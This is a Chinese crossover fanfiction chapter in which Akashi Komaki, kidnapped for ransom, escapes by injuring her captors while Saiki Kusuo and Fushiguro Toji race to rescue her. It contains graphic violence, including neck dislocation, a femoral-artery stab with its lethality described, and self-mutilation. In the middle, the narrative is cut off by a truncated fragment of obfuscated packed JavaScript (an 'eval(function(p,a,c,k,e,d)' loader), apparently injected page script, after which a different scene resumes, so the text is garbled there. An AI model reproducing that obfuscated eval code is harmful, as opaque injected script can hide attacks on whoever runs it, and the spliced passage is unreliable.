小莳想,这就像一蟹三吃,绑了自己,既可以让家里人担忧焦心,再是索要赎金拿钱以后生活不愁,远走高飞,最后还可以撕票复仇。 感谢抬爱,血缘关系的父亲对她恐怕没那么上心。她又是孤立无援的一个人了,最值得讨厌的是,这些家伙就把她视作了赤司家的薄弱环节……这算什么,冤有头债有主,找到一个女孩子身上? 压下心中涌动的情绪,小莳静静听。她的体术不佳,是对比其他守护者,身体的强度曾经也经历过火焰的淬炼和老师的磨炼,超过常人,如果把握时机,未必不能化解。 其实她也不确定,但是当时当刻也只能不断这样告诉自己,竭尽全力找到一条出路。 大郎是个阴险的人,嘴上说着不要弄疼女孩,实际上拿着□□就往脖子上怼,表面莽撞实际上就是在动用私刑泄恨,她那时双手被绑着,也没有挣扎的意思,真要弄晕换其他地方即可。是三人里最疯的一个。 小莳见过很多疯子,大郎这种是她瞧不起的。这种“抓了你女儿折磨她惩罚你”这种方式可要不得。以前动动手指就能解决的,现在却任人宰割,鄙夷和恐惧同时存在她心中发酵。 次郎是个真莽汉,冲动,听大哥话,有点脑袋但不算太多。按照一般规律,他的身体应该很强壮。 三郎也就是司机,是小于双胞胎六岁的弟弟。不怎么说话,但是他抽烟很凶,呛人。还有个女朋友,已经怀孕。看起来他是最无关的人。也没参与私刑。 车停下,有人说“次郎你去开仓库的门。” 小莳适时装昏迷。她以前专门学过装死,因为料想可能会派上用场,学得很好,但是实际上场一次都没用过,只好在彭格列总部吓吓自己人。这还是第一次严肃实践。 来开后备箱的是最讨人厌的绑匪。 歹徒拽着校服把小莳从行李箱拉出来,然后直接松手,由她跌在地上。 肩膀……肱骨可能骨折了,幸好那边不影响行动,只是从骨头往皮肉散射的疼痛,像地震波。 脖子也疼得厉害,像是有人拿石子砂砾在皮肤上摩擦,要把它们都烙进去,让她血肉模糊。 “这都没醒?真是爱睡觉的公主殿下。” 小莳记得自己还在昏迷状态,不可能破口大骂,被揪着领子在地上拖行,膝盖和腿直接在地面摩擦,只是沉默地感受疼痛,还有被衣领勒到的锁骨和脖子上被电击的地方也在暗暗发力,向身体的主人昭示强烈存在感。 越是这样,越要冷静。 小莳仿佛回到了江口小莳的记忆里,那是她人生并不存在的十年,但是给幼小的她带来了诸多影响,让她有事分不清现实和记忆,就像战争时切除伤病肢体的士兵,经历的幻肢疼痛后遗症。不存在的□□怎么会疼痛?但是神经不讲道理,它还停留在肢体残缺受损的战时,告诉大脑,这具躯体遭遇了怎样的劫难。 但现在她倒是很感谢那段记忆了,记忆中她遭遇过更差的。半边身体都被炸没了,幸好脑子没受影响。只要有健全的大脑,肢体、脏器、皮肤,没有什么是幻术构建不出来的。 她搜寻着记忆,企图暂时逃离□□的囚笼。她想起来了,匍匐着,像烂泥一样苟且着呼吸,口中是唾液混着砂石,鼻息间是腐烂的草泥味,感受心脏急促的跃动,感受暴露体外的肠道在空气中痉挛,感受血液从血管中浇灌到地面,感受生命力的流逝。 末世,四处皆可为埋骨地。胜负,只看是她先咽气,还是先等到时机。眼下也如此。 把人拖到仓库里,大郎不出意料直接松开手,小莳昏迷着前倾,脑门和颧骨和地面亲密接触,发出“蹦”的声音。 “一郎,她的脖子都青了,膝盖和腿也出血了。” “刚刚大哥不是还说不要让她紧张害怕吗?” “你们两个这是心疼了?三郎倒还情有可原,有了妻子,马上还要有个孩子。次郎,你是怎么回事?” “她也没给我们闹出什么乱子,我们就正常绑架完放人,你别冲动,万一她死了很麻烦。” “哼,米花町的悬案还少吗?而且……先拿到钱再说。” 小莳听见,就知道他不仅想拿钱,还想撕票。 好像是听取了次郎的建议,两人合力把小莳搬到椅子上,还贴心的把她的头靠在椅背上。 “要等她醒来吗?” “不用,我看电视剧里都是这样。”拧开瓶盖的声音。 “大哥那是保温杯!” “急什么,现在都下午五点了。开水已经进去几个小时,不会让美丽的公主殿下烫伤。” 小莳已经做好被滚烫水浇到身上的觉悟了,实际情况稍好些。 她被甩了几个巴掌,悠悠转醒,然后开始呜呜呜,嘴里堵着胶带,说不出话,头发遮住视野,急的流眼泪,摇头又牵动肩颈痛处,浑身颤抖。 经历了一番来自于一郎的虚假的“我们只是想要钱,你好好配合打电话要赎金,事成就放你回家,我们先给你揭开胶带,你不许尖叫。” 小莳佯装惊惶,小心翼翼点头。 然后她被解开了头套,嘴上的胶带也被撕开。 这里是仓库,根本不会有人,而且她想树立一个懦弱天真的形象,没有尖叫,眼里盈满泪水。低头,偷偷哭。 刚刚抬头那一眼,三人都戴了头套。一郎是面前的这个,身形不太强壮,背有点佝偻,不看脸就知道是个在单位里会对领导点头哈腰的类型,实际上一朝得势人品差的要死;另一个体型强壮的果然是次郎,他大概180、160的样子,如果解开束缚说不定能打得过,可惜人太多了;三郎高且匀称,站在最后面,大概是歹徒里最不习惯这次绑架的。 说不定是被奶粉钱说动来的。 幽默是本能,总是突然想到这些也没办法。 见她醒了,这会这个阴险老大倒做出一副很好说话的样子。 关心了一下她的身体,还为电击道歉。小莳……只好轻声说没关系,假装已经信赖了这位好好先生。面对这种情况,实在不知道说什么就先斯德哥尔摩。 他给小莳吃了面包,还喂她吃了巧克力。 “吃点甜食可以缓解紧张情绪。” “好的,谢谢您。”头发凌乱,面颊红肿带有泪痕的少女面露感激之色。 然后按照歹徒的指示,给父亲赤司征臣打电话。赎金3亿元。 如果说这个时候有谁是小莳能够稍微依靠的,她会选江户川柯南。 虽然有点处不来的感觉,但他是个……如果这是一本侦探小说,说不定江户川柯南是主角,他给小莳的感觉是,只要有人遇到危险,就算是陷他于困境的黑暗组织老大都会救,然后报警,捉拿归案。 对这一信条不是很赞同,但是小莳认为他是一个被信仰支撑的侦探,无论如何,只要有案件他就会全力以赴的跑到第一线吧。 多谢了,伊卡洛斯,不管是为了出风头还是为了正义。 在被问到有几个歹徒的时候,小莳感到拿着手机的人的手一紧,但没有直接挂断。 “抱歉父亲,我不能说。今天我本来和柯南那孩子有约,可惜出了这样的事,他一定久等了。” 话都说到这了,便宜父亲联系下工藤新一呗。 然后歹徒将手机转向自己,开始和赤司征臣交涉。 三郎给小莳递来一瓶水,让她喝下。 瓶盖被拧开过。大概是加了点料。小莳当没发现,只小喝几口。 于是等挂电话后,一郎回头看见的就是已经睡着的小莳。 他心中为计划顺利推行感到骄傲自得,同时又生出些鄙视,好愚蠢的学生,竟然就是这样的人享用了本该属于他的财富。 支使着两位弟弟把赤司小莳的手再捆起来,将人移到临时铺的地毯上。三人关灯,锁上仓库的门,出去做些准备工作。 好消息,小莳当然没有睡着,更好的消息,她的水手服校服上还有个口袋,里面有一把小刀。 这就要追溯到某一天晚饭时的突发奇想,“男校服里的衬衫和裤子上都有口袋,可是女性校服无论是上半身衬衫外套和下半身短裙,都没有。” “所以呢?”伏黑甚尔对这个话题没兴趣,只是随口回应一句。 “这样很不方便,甚尔帮我缝一个口袋。” “……我不会。” “你可以学。” “女士校服有些本来就没有口袋。” “那我还说祖宗之法不可变呢!” “……你平时连包都不爱带。”也没东西需要口袋来装。 “万一呢,比如我随身带把刀,谨防歹徒袭击。” “哦。” 小莳看出了他的敷衍,也觉得和既得利益者谈性别的权益十分反人性,便也结束:“甚尔君是从出生就拥有口袋的人,当然不懂我想要口袋的心思。” 但她仍然追求口袋这一结果--过几天她也拥有了口袋,伏黑甚尔仍然不会针线活,他出门找商业街裁缝做的。她藏青色校服外套上的假口袋变成了真口袋,她也圆了说辞购入一把精巧轻薄的钛合金折刀。 次郎三郎恰巧也不是大郎那么心眼多的,图方便,给小莳的绳结打在了身前。 多谢了,这是两位坏的不够彻底的家伙。 在小莳熟练地打开小刀划拉绳结的时候,远方的齐木楠雄也在为还没认识的朋友担心。 没错,他今天下课以后想到咖啡冻的情谊,顺便千里眼自动追踪了一下离成挚友只剩认识的赤司小莳,就发现对方在一辆小轿车的后备箱里昏迷着。 是绑架。但如果联想到那里是米花町也不奇怪,毕竟,赤司家可是比社长更高的存在,作为千金不遭遇点事情就太见外。 齐木楠雄是一个不愿意引起别人注意,不愿意别人发现自己异常的低调人士。以前的每一天都很顺利的过去了,所以这个原则就一直大差不差维持下来,今天却发现,出现了棘手问题。 嗯,果然是因为米花町犯罪的比率太高了,歹徒作案手段也水涨船高。 他首先想到的人是江户川柯南。 登报那么多次的工藤新一、毛利小五郎背后的男孩,以往大大小小的案件也解决了不少,是专业能力很强的侦探。 透过千里眼,锁定波洛咖啡厅,在柯南身边的是灰原哀。 他把自己伪装成女性。齐木楠子,启动。然后瞬移到咖啡厅附近的小巷。 “你好,我是赤司小莳的同学,刚刚我在路边看见她被绑架了。被小轿车里的人拽上了车。” 江户川柯南困惑:“……可你穿着pk学园的校服?” “而且这位小姐,你是如何知道赤司小姐和我们认识,又是如何找到我们的?发生了绑架案件,一般都会选择先报警。”一旁的灰原哀补充,眼前的人没有让她感到很危险,但她出现在这里,本身就很奇怪。 失策了。 说到报警,没有说警视厅不好的意思,但是给人一种很努力但破不了案的感觉,当然不能乱报警。 齐木楠雄没有看报纸的习惯,但是根据杯户新闻,米花地区大部分案件都不是警察侦破。 “PK学园离这里有近十公里之远,可我看姐姐你应该是走过来的吧。” 不,是瞬移过来的。 呀嘞,名侦探,下次还是不要再接触了,真是不妙。 “大姐姐,你眼睛怎么了?”江户川柯南本来和灰原哀在等小莳,人一直不来就有些异常,这个突然出现说了些奇怪话的女高现在突然又对眼了,俗称斗鸡眼。 “……”被工藤说动准备来谈一谈,未料正主迟迟不来,有个奇怪的人出现了。 齐木楠雄在看小莳的最新动向。 好粗暴,居然把昏迷的人从车上拽下来,一米高,绝对伤到骨头了。 这样拖拽,郊区的道路并不平整,砂石也有不少,膝盖…… 齐木楠雄,据自己所说,是一个因为全知全能而失去了作为人类喜怒哀乐的没有感情的超能力者。可超能力者看见这画面也有点遭不住了。 结束千里眼。 齐木楠雄发现两个头脑是大人身体是小孩的都盯着自己,心音乱飞。 “看起来不是坏人,但好可疑,应该不是组织的人。组织的人也不会大庭广众下做鬼脸。” “她和赤司同学究竟是什么关系,总感觉有相当微妙的地方。” “她和上次在这里看到的咖啡冻男高好像,难道是亲人?” 一边是身陷囹圄亟待拯救的无辜人士,一边是假以时日大概能把自己老底揭掉的两个聪明人。齐木楠雄想,对不起,赤司小莳,请你再坚持一下等待救援,我会持续关注你的动向。 这波洛咖啡厅是一秒也呆不下去了,遁。 齐木楠雄的planb是自己看不透心灵、赤司小莳的前助理,伏黑甚尔。 上一个看不透的是燃堂力,在日常生活中惹了很多乱,如果可能他还是不想和心灵感应不到的人交流。抱歉,伏黑君,并没有说你是个笨蛋的意思,只是不可控的事情最好还是不要做。 结果第一志愿比预想中难搞太多。只好用备选。上次看到他的时候他还是喜欢赤司同学的,过去十几天,希望他仍然喜欢。 齐木楠雄的planc是自己让三位歹徒失去行动能力,但若非不得已,他不愿意这样。一是因为警方的案件报告要打通逻辑关系,为此他们势必会审问三人被打倒的情况,届时会引起警惕,二是因为这次绑架的对象是三大财团之一的赤司家小姐,这小姐在此前还失踪了十余年,案件很容易引起媒体的跟踪,关注度过高,更容易出事,三是作为和赤司小莳并不熟稔的一面之缘陌生人,就这样突然去营救她总感觉是一种缺乏理性的行为,如果可能还是让认识的人来,当然,最后齐木表示自己也不太愿意直面歹徒,因为以前没有相关的经验。 因此,希望这位在赤司同学档案库里被列为【只比老师差一点】(顺便老师是【世界第一hitman】)的伏黑甚尔君可以不辜负他的期待。 千里眼,看见了在温泉浴场电视机旁周身只裹着浴巾看跑马的男人。 豪华包间里,旁边沙发上还坐着对电视机内容相当不满的穿着浴衣的金发外国女性。 “……”好快的移情别恋,赤司小莳,危。 ……万一呢,还是看一眼好感度。 伏黑甚尔对克丽丝·温亚德,29。好少,吝啬的男人。但是好消息,赤司同学的planb得以继续推进。 可以去询问一下伏黑君是否有意愿实施人道主义救助。 瞬移之前,齐木楠雄做好心理建设,启动对小莳的千里眼。电视剧里一般会选择冷水,请不要胡乱为自己的扭曲找理由。竟然想对昏迷的人做出这种事,真是可怕。 他没有再看,瞬移到了温泉浴场大门,门票需要费用1700。始料未及的Planb的第一座难关--一个月零花钱只有3000的高中生犹豫了。 最终,为了1700,齐木南雄选择铤而走险,三分钟后再次瞬移,直接到浴场卫生间隔间里。 希望监控摄像头永远都不被人调出来。齐木楠雄…楠子,节约了1700的花销,跟着千里眼走到包厢门口,敲门。 “打扰一下,我找这位先生有点事,劳烦您和我出来一下。” 贝尔摩得:?发生什么事了 伏黑甚尔不认识这个人,但是米花怪事多的很:“有事?” 他的视线太有压迫性,只是被看一眼就觉得不善,齐木楠子想走,但是要救赤司同学,也不想启动planc。 他…她重复了一遍,“劳烦您,请随我出来一下。” 伏黑甚尔对女性会更耐心,虽不知道想做什么,也应了她的请求,披上浴袍和齐木楠子出去了。 “如果您有意向的话,请不要多问问题的和我一起离开。是这样的,赤司小莳被绑架了,现在…”遮住眼睛,展开千里眼,看见单薄的身体在椅子上瑟瑟发抖,嘴上的胶带被粗暴的撕开,呈现过敏一样的红色:“大概性命垂危。冒昧问一句,你想去救她吗?” “……” 齐木楠子坐在副驾驶上的时候,觉得自己游说水平有所提高,一下子就让人和自己走了。 不过那个金发外国女性……居然是为了追查组织叛徒灰原哀来到米花,又遇到了离家出走的伏黑君。嗯,大人的思想,难懂。她已经好多岁了,真了不起。也许那组织不需要APTX,首领若想长生不必舍近求远,应该好好研究这位女士。 明明喜欢同事,而且同事不喜欢她,却又对其他的男性有这种想法,比电视剧精彩。这么一想伏黑君对赤司同学也是同样的吧,种种条件一合计,伏黑君和贝尔摩得女士,也算登对。 不过伏黑君拒绝了贝尔摩得,她虽然想着没关系,心里还是很介意,心念动不动就要冒出来一下。呀嘞呀嘞,比起普通的喜欢更像是争强好胜的结果,真是好胜心强的女性。这一点有点像照桥同学。 浴场人多,心音太吵,还是郊外好。 在副驾驶上,她也稍微自在了些:“对了,这辆车是你的吗?” “是克丽丝的。” “……” 没关系,以赤司同学对伏黑君水平的评价,只消片刻三名歹徒就能下线,到时候未必来不及去浴场接贝尔摩得女士。 根据包厢里贝尔摩德的心声情况,伏黑甚尔并没有和她说明去意,只是回去拿了下储物柜手环。当时贝尔摩德女士以为他要去大厅和自己详谈。 抱歉,现在人已经快到米花外,还开了你的车。 齐木楠子并没有很着急,但是如果能快一点他也不会拒绝,启动超能力在空闲路段稍微加速…应该不会被发现。 伏黑甚尔撇了她一眼。 被发现了。 听不见心声有时确实麻烦。 伏黑甚尔没有说话,齐木楠雄也没有停下超能力,两人之间似乎有一种微妙的平衡。 “请减速慢行。”转弯有交警,两位女警正在警车上有一搭没一搭聊天,其中一个脑袋里还有麻将牌局,如果此时原速开过,待命的交警立刻就可以开始工作。为避免不必要麻烦,齐木楠子出言提醒。 伏黑甚尔当然没有减速。 “……” 发动念动力,不管表盘上的数字是多少,车辆行驶速度35km/h。 所以说看不透心声的人类是很麻烦的,齐木楠子倚靠在座位上,向窗外看去。伏黑君,请不要问我任何问题,就这样沉默下去。齐木楠子以后再也不会和你见面了。 路过警车后,下一个路口,车子又飞速行驶。 这辆车还是豪车。 据宫本由美警官说,这车至少两千万。没仔细看清楚车型,可能更贵。 是我接近1000年的零花钱,换算成漫画和咖啡冻…… 伏黑甚尔想起小莳信誓旦旦的和他说过,“这可是唯物主义世界,虽然很另类,但是超能力,鬼怪什么都是不存在的。” 她也有不知道的事情。 他问起她:“小莳怎么了?” 齐木楠子看着窗外飞驰的树丛,已经到了郊区,“被绑架了,最新消息金额3亿日元。” 伏黑君应该也很担心她吧…… 齐木楠子转过头来的时候惊呆了,您完全不开车了吗? 没错,伏黑甚尔也已倚靠在座位上,手离开了方向盘,目前表盘上的数字指到10,车在飞驰。 这一刻,齐木楠子想到了被燃堂力背刺的恐惧,孩子静悄悄,指定在作妖。 “……” 还是看一下赤司同学的情况缓解一下尴尬吧。至于车子,随它去了。伏黑甚尔能保持沉默已经很棒了,再次重复,他以后见不到齐木楠子。 他看到为首的歹徒让两位弟弟去休息,自己走向仓库,准备看住被绑架的财团千金。仓库内,本应昏睡的赤司小莳已经用小刀磨断了麻绳。 ……一上来就是紧张刺激的环节。 伏黑甚尔注意到旁边的女高中生手握拳,似有些紧张。 齐木楠子担心小莳好不容易挣脱了束缚,又被进来的歹徒当场撞破,后面会发生什么可想而知。然后她看见小莳朝外侧躺,手掩在腹部,断掉的绳子就这样耷拉在她腕间。装睡。 更紧张了。如果是其他两名绑匪说不定倒也能蒙混过关,他们一眼就是被怂恿来的,看守敷衍,但这个人不仅满是愤恨还戒备心重。 赤司同学……多半会被发现。 果然,他进了仓库,第一件事就是打开工矿灯,等他走近地毯,一眼之下什么都藏不住。 齐木楠子有点不敢看了,如果说将这种情形比喻为惊悚电影中主角团队的某人即将被buff叠满的大反派发现,接下来要发生的事总会使人联想到一些不幸的场面。但她没有停止使用千里眼,于是看到了接下来一幕:预料之中的,阴险谨慎的反派角色发现了主角的伪装,并且勃然大怒;预料之中的,他高高扬起了右手,预料之外的,看似柔弱没有反抗之力的女孩以令人所料未及的闪电速度趴上他的身体,双腿盘住光顾着生气没想到会被反抗的歹徒,左手勾住她的脖子,右手卡着他的下颌骨,一推,一扭,干净利落。 齐木楠子听见咔哒一声的时候,仓库内的发生的一切尘埃落定。 经常看电视剧的都知道,被扭断了脖子的人会立刻失去意识,然后gg,然而事实情况并非如此。下颈椎骨脱位,只会带来脖子以下高位瘫痪的感觉,也就是只有个头能动,然而人还是能思考,能……大叫。 小莳坐在全身瘫痪的一郎身上,不费什么力气就把他的叫声全部捂在喉咙里,她的手臂隐隐作痛,但不明显,感谢来自肾上腺素的馈赠。 小莳喘着气,小声但快意地说:“贫嘴贱舌的杂碎,浑身上下透露一股廉价,就凭你也配把别人玩弄于股掌之上?” 一郎的面色因恐惧与怨怒而狰狞,而恐惧大概夺走了他的心神,连反抗的声音都变成呜呜呜呜。 经常鲨人的朋友们都知道,鲨人容易抛尸难。 脖子骨折可以说是感觉来了正当防卫,人没了就难说了。这里虽然犯罪率很高,但是法治社会…… 理解一下,就是因为有法可依,才有犯罪这一行为的定义嘛! 过了大概一两分钟。 “我只是想要你躺在此地不要动,你好好配合,事成就放你回家。”叫你在监狱病房里度过短暂又残废无能的一生。 “我先松开手,你不许尖叫。同意的话就眨眨眼。”小莳用刚才他虚情假意的话还给他。 一郎开始疯狂眨眼。 小莳缓慢的移开了右手,右边她没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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另一边车上,齐木楠子已经麻了。 她单想着赤司小莳的老师是世界第一hitman,忘记了hitman教出来的弟子也是hitman。从心理活动来看,小莳并不是一个经常追忆自身过去的人,且千里眼所见的一切伪装皆天衣无缝,她又确实受了一些苦…… 以为是豌豆公主,实际是饱含杀意静待时机的刺客吗? 呀嘞呀嘞,如果海藤看见这些,大概会把赤司同学视做darkreunion的爪牙,但她并不讨厌这样的反派角色。赤司同学认祖归宗已有一年余,从未做出什么视人命为草芥的事,甚至连接近违法也只有饮酒一条,眼下是情非得已。 那三个歹徒太过阴损,又有电击棒,又有麻醉枪,甚至还带了不知道从哪里搞来的枪。而小莳偷袭了在她看来威胁较大的次郎后,便被麻醉枪射中。她决定先解决那个大块头,原因有三,一,那位最小的四级连腿都在打软,两个哥哥倒下后他必定也无了;二,次郎的身体情况较好,如果没有利用偷袭的先机及时处理掉,等弟弟危险,他必然万分注意。留下一个最难对付的对手,傻子才做;三,他揪她头发,私人恩怨,无关人等统统闪开。 她没有选择电击器,一是声音太大,如果有条件她还是想一连放倒两个人,不要横生波折,二是不想便宜了歹徒。用手指试了一下小刀的锋锐程度,一触即破。小莳满意收手,在电筒光没照到的角落里等待他主动上门。 左肩的紧绷感更加明显,恐怕不一会又要升级成疼痛。念及此,小莳的呼吸更轻,蹲在杂物堆里,想象猎手与脱兔,架枪,瞄准,等待射程之内自投罗网的目标。也是一种守株待兔, 在某些国家,野兔没有天敌,便在农民的田地里挖洞,繁衍,种群的数量膨胀啊膨胀,附着寄生在田地里,就像螨虫种群在床铺上吸食汗液、□□排泄。总之,无论是爬虫还是野兔,都在该在的地方比较好,别妄想到权限以外的地界去。 否则……咬杀。 小莳恰到好处的给次郎的大腿来了一下,托瓦利亚一位不愿意透露姓名的王子的福,她对股动脉的位置,相当的熟悉。 难以置信,仅仅是一个小小的伤口,竟然可以在半分钟内让人脱力,一分钟内失去视觉,三分钟内失血过多死亡。小莳在黑暗中微笑:请不必担心,绑匪二号,鉴于你的弟弟大概率没什么用,为了大家的福祉,我会在摆平他之后帮你加压止血的。 她在一击后又用刀柄敲打了对方的脖颈,致使他晕倒。 然而小莳没有料到,绑匪吊车尾虽然实力不济,但有一句话这么说:差生文具多。大哥警惕戒备的小人之心过重,三弟居然也不遑多让。 她伸出右手拔下刺进肩背的飞镖,一阵恍惚。头晕目眩之间,她转头看见最小的弟弟丢下麻醉枪,手忙脚乱的从衣服口袋里掏出一把枪……衣服口袋卡住了枪托,他在试图使用蛮力把枪扯出来。 小莳在脑袋里骂了很多脏话,这些脏话不凑巧也都被快速赶来并已经在200米之内的齐木楠子听见。 仓库位于厂房的最里面,车开不进来。 小莳想,今天这一天发生了太多事,如果这就是人生的终结,被一个拿枪手抖的人趁着麻醉失去意识干掉,那这一生不仅是白活了而且是要倒扣分!简直就像权力的游戏里有个人一世英明体面,最后死在了马桶上。她看的时候还嘲笑他呢! 不不不,人在被全麻之前尚有78910秒的反应时间能够数数,她不可能就这样晕过去,比起考虑死掉之后的事情还是得想想办法。 于是小莳将刀锋插进左手指甲缝里,剧痛,再一撬,指甲沾着血肉翻了起来,大概因为太粗暴,还分成两块,每一块都连着手指。这时候也没空担心血液碰触的传染病了--这把小刀刚才给晕倒的那一位造成了创口。 她一狠心,横过小刀,分出右手食指中指一捏,拽断。 下一秒,眼前闪过一道热光,在小莳本人反应过来之前,右眼就闭上了,再之后,是湿润黏糊又刺痛的感觉,尚能看见的左眼瞥到歹徒三号晃悠悠抬手,然后她听见枪响和尖叫。 尖叫就来自于开枪人,小莳很有骨气的一声没吭。 左手带来的剧痛也没有发挥他应有的抵抗麻醉的作用,右眼那边像是被人用小刀割了皮,再用刚烧好的火鸡面敷了上去,好恶心的比喻,但是她已经无心去思考更合适的措辞,一切都是当时当刻的真实感觉。 她的身体不支倒下了,意识也进入了沉沉的休眠。 这感觉就像早上定了闹钟,然后她想着再过五分钟,再次醒来已经是日上三竿,又有点像手术里的全麻,数到12,下一秒就醒来,实际已经过去一整天。也许,就像地狱和天堂中一样,失去意识的人是没有时间概念的,是永恒的刑罚,和永恒的至高快乐。 唯有炼狱,唯有人间,在这里,人类可以凭借自己的自由意志,在时间流逝中,蜿蜒行迹。 不管怎么样,她从永恒的虚无中有所知觉的时候,右手还握着身边唯一能挽救她的小刀。感谢自己,不用再找刀了。 身体已经没有疼痛的感觉肩膀,左手,右眼,除了左边视线模糊,右边的黏腻感和失明之外,其他也没什么大问题了。 话说这个时候要是还有其他问题那就糟了。 她视线一片模糊,搭配上暗月稀星的晚上,能见度为0,只有一只耳朵听见了脚步声靠近。 她想:歹徒三号,你我本无冤无仇,只可惜今天你大概是要死了。 她也可能没有想。 因为小莳“看”见了自己。她看见自己和赤司征十郎,和阿纲,和守护者们,和瓦利亚…走马灯的说法她当然是听说过的,但是拜托不要是现在啊喂! 她又想,是否自己的□□已经死亡,这一切只是脑细胞最后的最后的神经行动。这个想法是有依据的,科学研究证明人类在死亡以后的一段时间内内耳朵还能听,一个小时之内大脑还能想,但最终怎么样,科学家也不知道。 冷知识,发表研究成果的科学家都是活着的科学家,去世的科学家也无人知道去了哪里。 说到神经行动,就像鳗鱼被切断以后尾巴还能动,牛蛙也是,被扒了皮,砍了头,下锅之前它的大腿还会因筷子的戳动而肌肉起伏。 据说会有恶劣的客人因为神经行动而判别这些食物是否是现杀。 …… 最后,画面停留在属于江口小莳的记忆里。 最后的最后,是眼前的沙土,是鼻息的草腥味,是血和肉和泥巴在嘴里的味道,记忆里是一片寂静;现在的赤司小莳耳朵里的脚步声却越来越近。 平行世界的她真不幸啊,以前总想着要有家人陪伴,要免于孤独作战,远离孤身一人的战场,要让幻术更加强大更无懈可击,要让目之所及犯下恶行的人得到差不多的报偿…结果糟糕,我这边不仅是孤军作战,连赖以生存的幻术都没有了,最后还是沦落到这种境地了。在那里,只要人有一口气,事后自有办法救回来,在这里,她孤零零躺在根本没有人的仓库里。 种种想法在小莳的意识之中发芽,如繁花,如杂草,即使身体遭遇苦难,也不能抑制分毫它们生长的念头。 齐木楠子本来不想来的,在发现事情可能有点超出控制以后---一个人的心音嘈杂程度超过几十个人,这很明显是不正常的事情,而且捕捉到最后的一条心音是:【作为赤司小莳而死也不是那么难以接受的事情,但如果有条件的话,还是想回家。】 然后杳无音讯。 伏黑甚尔的原本就听不见,无关紧要。这位听不见就太让人担忧了。 她便从200米外的厂房门口瞬移过来了。 齐木楠子:……麦艾斯 一切都发生在一两秒内,说是电光石火也毫不夸张。 事后,变回齐木楠雄的超能力者锐评:如果是普通人的话大概根本就看不清发生了什么,但是我是超能力者所以难不倒我。 伏黑甚尔走向赤司同学,然后蹲下。 动作进行到一半,异变陡生,先被据说“大象挨一针也要完,偷象牙猎者用了都说好”的麻醉飞镖击中,随后又被弹片划伤了脸并在眼部有比较严重局部烫伤,已经失去意识并且连心音也消失了的赤司同学,以肉眼难辨的速度从地上跃起,姿势上像是环抱,实际上两手的动作和第一个躺在地上的绑匪那时一样。 但是赤司同学此时已经不能很好的控制力道,因此她是奔着让对方丧命去的。 她失败了,伏黑君毕竟是优秀的赏金猎人,但如果是第三位歹徒,如果他没有被伏黑君一脚踹到墙上然后休克的话,他绝对会被一击毙命。 伏黑君抓住了她的左手,没有很用力。 但是事情并未结束,她右手上还拿着刀……这次伏黑君就没那么好运了,到不是说他不够强,只是因为他另一只手托着赤司同学的腰,分身乏术。 齐木楠子伸手挡下了这一刀,用超能力。 顺便帮忙对已经意识不清敌我不分,只凭着身体在战斗的赤司同学进行传心术。 她的耳朵可能和意识一样出了点问题,但是传心术可以有效避免听力障碍带来的沟通困难。齐木楠子并不特别慌张,这话其实再说一遍也无妨:无论是赤司小莳,还是伏黑甚尔,他们都不会再见到齐木楠子。 计划通。 【赤司小姐,请清醒过来,第三位绑匪已经被伏黑甚尔君解决了。】 然后这位小姐果然如梦初醒,心音也变得如同平时一样风趣起来。 小莳醒来的时候就发现刀尖离伏黑甚尔的肩背只有0.001厘米,她心想,我就说这个三郎怎么比次郎壮。当时光顾着刀人了sorry甚尔君,还给你来了一套连招。 她安心的丢下刀,维持原来的姿势,左脸靠在伏黑甚尔前胸,右手搭着他的肩,左手自然下垂。 伏黑甚尔是一名魁梧男子,中间忘了,好似双开门冰箱。 真是可靠的助理。不对,他好像辞职了来着。 发生了什么?她想起来了,原来是求偶失败远走他乡。她好像不应该这样编排特意来营救的人。 对不起甚尔君,帮她这么多,她走马灯里都没出现他,下次一定-- “谢谢你,甚尔君。”小莳言语表达一下感谢。 “嗯。” 对方的手这下托住了她因为身体逐渐失去控制而下滑的,额,臀部。 话说,刚刚是谁在和她说话。 小莳的视线穿过伏黑甚尔的头发,他该剪头发了,挡着她看人了。但仔细一思考,是她自己右眼瞎了,那没事了。 “你是……上次咖啡店的那个。” 齐木楠子面无表情,实际已经汗流浃背。 “不知道为什么,你给我一种好像在说——” 思想的传播比语言更快,齐木楠子发现大事不妙,不,赤司同学,请你住口,虽然没有做太多,我姑且也算得上你的救命恩人。 “你怎么看出来我是男扮女装的呢?” 能够迷晕大象的成分在此时恰好发挥了作用,小莳这下是真的陷入酣眠了,她挂在伏黑甚尔身上,头也低垂。 20. 第 20 章 小莳再一次醒来,是在医院病房,身上没有很疼,更准确说,木木的,没什么知觉。她低头看自己掖在被子外的两只手,右手在挂水,左手手背上也贴着胶布,看来两只手轮着扎针点滴,对静脉比较好,也说明她昏迷有段时间了。 扭头看架上挂着的的药水瓶,营养液的袋子空空的,现在挂的是止痛。右手旁边,床沿是赤司征十郎没有打理,在阳光下显得毛茸茸的头发。 她想叫醒他,却发现嗓子干哑得吓人。只得抬起右手,在他头上蹭了两下。 乖,摸摸头。 赤司征十郎睡得不沉,只是有点倦意,小憩片刻。很快就被脑后的痒意唤醒,抬头后,对上小莳半张脸--右边绷带裹得严实,只能算半张:“小莳?” “你醒了。”赤司征十郎很高兴。难得手足无措,他想给小莳一个拥抱,或者牵她的手,但她身上绷带缠绕,甚至触目惊心。最后他只是轻轻拍了拍她的右手手指,再勾住她的尾指。 小莳想抬起左手,但身体不听控制,大概是骨折害的,她只好转动右边手腕,挣开哥哥的手,指指自己,再在摆出一个握杯倾倒的动作。 幸好她哥一下就看懂了。 “小莳想喝水?” 点头。 喝完水,喉咙总算好了些许,只是嗓音有些沙哑,“今天多少号?”想知道的事情比较多,一个一个来。 赤司征十郎是个靠谱的成年男性,自从18岁以来开始接手集团部分工作以来,参与的会议、报告、座谈已有三位数之多,他相当清楚信息的轻重缓急,在小莳问之前,就挑拣重要的主动说明。 今天是10月13日,周五,小莳结结实实昏迷了四天。主要是因为麻醉过量的并发症,其次是因为骨折和面部创面的炎症。子弹与眼球尚有距离,只是皮肉伤,恢复良好不会造成视力影响。整体的身体状况就是,只要人能醒来,一切都好说。 